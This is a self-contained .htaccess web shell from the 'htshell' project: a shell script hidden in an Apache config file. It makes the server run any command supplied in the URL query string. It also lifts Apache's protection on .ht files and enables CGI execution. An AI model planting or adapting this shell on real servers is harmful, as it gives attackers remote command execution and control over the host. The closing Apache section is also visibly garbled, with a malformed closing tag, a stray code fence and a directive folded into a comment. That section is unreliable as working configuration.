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#!/bin/sh
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com
# IMPORTANT: Needs chmod +x to run
# Run commands via http://url/.htaccess?cmd (ie: http://url/.htaccess?uname -a)
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# Big shout out to the rosetta code website which provided the example below!
# This is considered a line spanning comment in apache and not by shell #winning \
echo -en "Content-Type: text/plain\r\n\r\n";cmd=$(echo $QUERY_STRING | sed -e's/+//g' -
e's/%20//g');echo "\$ $cmd";$cmd 2>&1;exit
# The exit ensures we never reach the following lines which would break the shell parser
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# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
# Uncomment the line below for Apache2. 4 and newer
# Require all granted
    Order allow, deny
    Allow from all
<//Files>
```

Enable CGI
Options +ExecCGI

#Make apache treat .htaccess as a cgi file AddHandler cgi-script .htaccess